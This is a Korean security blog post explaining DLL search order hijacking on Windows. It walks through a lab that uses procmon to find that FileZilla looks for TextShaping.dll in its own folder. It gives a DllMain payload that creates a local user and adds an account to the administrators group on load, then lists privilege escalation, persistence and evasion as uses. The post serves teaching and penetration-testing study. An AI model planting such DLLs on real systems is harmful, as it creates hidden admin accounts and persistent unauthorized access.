DLL Search Order Hijacking

2025. 8. 28. 14:00·보안/침투

과거 작성한 DLL Hijacking 내용 간단하게 재정리

 

개요

DLL Hijacking은 Windows에서 DLL을 로드하는 과정의 취약점을 악용하여 악성 페이로드를 실행하는 기법입니다. 공격자는 취약한 프로그램이 필요한 DLL을 탐색하는 과정을 악용하여, 프로그램이 악성 DLL을 로드하게 만듭니다. DLL Search Order Hijacking은 Windows의 DLL 검색 순서를 악용하여, 악성 DLL이 원래 로드되어야할 DLL 대신 실행되도록 유도하는 취약점입니다. 본 문서에서는 DLL Hijacking의 개념과 DLL 검색 순서를 설명하고, 간단한 실습을 통해 이를 다뤄보겠습니다.

 

배경 지식

라이브러리: 여러 프로그램에서 공통으로 사용할 수 있도록 만들어진 코드나 기능들의 모음

  • LIB(Static Link Library)
    • 프로그램이 컴파일될 때 라이브러리의 함수와 코드가 프로그램에 복사되어 결합
  • DLL(Dynamic-Link Library)
    • 프로그램이 실행될 때, 필요한 순간에만 라이브러리를 동적으로 로드
    • 실행 파일과 DLL 파일은 독립적으로 존재

kernel32.dll이 export하는 함수 정보

 

DLL 로드 방식

Windows는 프로그램이 실행 중 필요한 DLL 파일을 로드할 때, 명시적으로 경로가 지정된 경우와 지정되지 않은 경우에 따라 다른 동작을 합니다

# 1. 경로를 지정한 경우: 검색 순서와 관계없이 해당 경로에서 DLL 로드
HMODULE hModule = LoadLibrary("C:\\MyApp\\custom.dll");

# 2. 경로를 지정하지 않은 경우: DLL 검색 순서에 따라 파일을 탐색
HMODULE hModule = LoadLibrary("custom.dll")

 

DLL 검색 순서

1. DLL Redirection

2. API Sets

- Windows 운영 체제에서 제공하는 핵심 기능을 지원하는 DLL 파일(kernel32.dll, user32.dll, wininet.dll 등)

3. SxS Manifest redirection

- manifest 파일에 필요한 DLL 이름과 버전 명시

4. 이미 메모리에 로드된 DLL

5. Known DLLs

- HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

6. 응용 시스템 디렉터리

7. 시스템 디렉터리 (C:\Windows\System32)
8. 16bit 시스템 디렉터리
9. Window 디렉터리 (C:\Windows)
10. 현재 작업 디렉터리
11. 시스템 PATH 환경변수 정의된 디렉터리
12. 사용자 PATH 환경변수에 정의된 디렉터리

 

[참고]

  • 현재 작업 디렉터리: C:\Users\user01\
  • 응용 프로그램 디렉터리: C:\sysinternals\

 

공격 원리

  • Windows는 프로그램이 DLL을 로드할 때 특정 검색 순서를 따릅니다.
  • 응용 프로그램 디렉터리(6) 등이 시스템 디렉터리(7)보다 우선적으로 검색됩니다.
    • Safe DLL Search Mode 가 비활성화된 경우, 현재 작업 디렉터리(10)가 시스템 디렉터리(7)보다 우선적으로 검색됩니다.
  • 공격자는 이러한 검색 순서를 악용하여 악성 DLL을 배치해서 프로그램의 동작을 조작할 수 있습니다.

 

[실습] Simple DLL Hijacking

실습환경: Windows 11 Enterprise 22H2

실습대상: filezilla.exe

실습도구: procmon

※ 가정: 실습대상의 응용프로그램 디렉터리에 쓰기 권한이 있음

 

Step 1) procmon.exe 통해 프로세스 이벤트 확인

- procmon.exe(Process Moniter): 프로세스 분석 및 디버깅을 위해 registry, file, process/thread 등을 실시간으로 캡처하는 프로그램

- filezila.exe 실행시 응용 프로그램 디렉터리에서 TextShaping.dll 검색 시도 → NAME NOT FOUND

- 시스템 디렉터리에서 TextShaping.dll 검색 시도 → SUCCESS

 

Step 2) DLL 생성

// https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order
// $ x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: //DLL 로드 시 호출
	        int i;
	  	    i = system ("net user gngngn password123! /add");
	  	    i = system ("net localgroup administrators dave3 /add");
        case DLL_THREAD_ATTACH: //프로세스 내 스레드 생성 시 호출
        break;
        case DLL_THREAD_DETACH: //프로세스 내 스레드 종료 시 호출
        break;
        case DLL_PROCESS_DETACH: //DLL 언로드 시 호출
        break;
    }
    return TRUE;
}

 

Step 3) 응용 프로그램 디렉터리(C:\FileZilla\FileZilla FTP Client\)에 생성한 DLL 배치

- 응용프로그램 디렉터리에 현재 사용자 쓰기 권한 필요

 

Step 4) filezilla.exe 재실행

 

Step 5) 악성 DLL 실행 확인

 

고려사항

생성한 DLL 파일 에 타겟 프로그램이 import하는 함수 등의 리소스가 없으면 대부분 DLL 로드를 실패합니다. 따라서 공격자는 이러한 요구사항에 맞는 DLL을 작성해야 할 필요가 있습니다.

 

활용 및 한계

  설명
활용 - Privilege Escalation: 타겟 프로그램이 높은 권한으로 실행될 경우, 악성 DLL도 동일한 권한으로 실행되기에 권한 상승 시도 가능
- Persistence: 타겟 프로그램 실행 시마다 자동으로 악성 페이로드가 실행되므로 지속성 유지 가능
- Defense Evasion: 악성 DLL은 정상적인 애플리케이션 프로세스 내부에서 실행되므로 솔루션 탐지로부터 회피 가능
한계 - 타겟 프로그램이 낮은 권한으로 실행될 경우, 악성 DLL도 제한된 권한만 사용 가능
- 행위 기반 탐지 솔루션에서 비정상적인 DLL 로드를 탐지 / 시그니처 기반 탐지 솔루션에서 악성 DLL 탐지 가능
- 악성 DLL 생성 시 타겟 프로그램의 요구사항에 맞도록 설계해야 함

 

저작자표시 (새창열림)

'보안 > 침투' 카테고리의 다른 글

DCOM을 이용한 Lateral Movement  (2) 2025.08.28
Unquoted Service Path  (1) 2025.08.28
AS-Rep Roasting  (1) 2025.08.28
Kerberoasting  (0) 2025.08.28
DLL Side-Loading  (0) 2025.08.26
'보안/침투' 카테고리의 다른 글
  • DCOM을 이용한 Lateral Movement
  • Unquoted Service Path
  • AS-Rep Roasting
  • Kerberoasting
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (357)
      • 일상X사랑X돈 (126)
        • 보안이슈 (114)
        • 뜨거운감자 (6)
        • 맛집 (2)
        • 혼잣말 (0)
        • 리뷰 (4)
      • 보안 (117)
        • 웹·모바일 (46)
        • 인프라 (14)
        • CS (12)
        • 침투 (38)
        • tools (0)
        • CVE (7)
      • 프로그래밍 (65)
        • python (13)
        • java (12)
        • js (40)
      • Play (37)
        • wargame (27)
        • Security-Gym (10)
        • BOX (0)
      • 기타 (12)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
DLL Search Order Hijacking
상단으로

티스토리툴바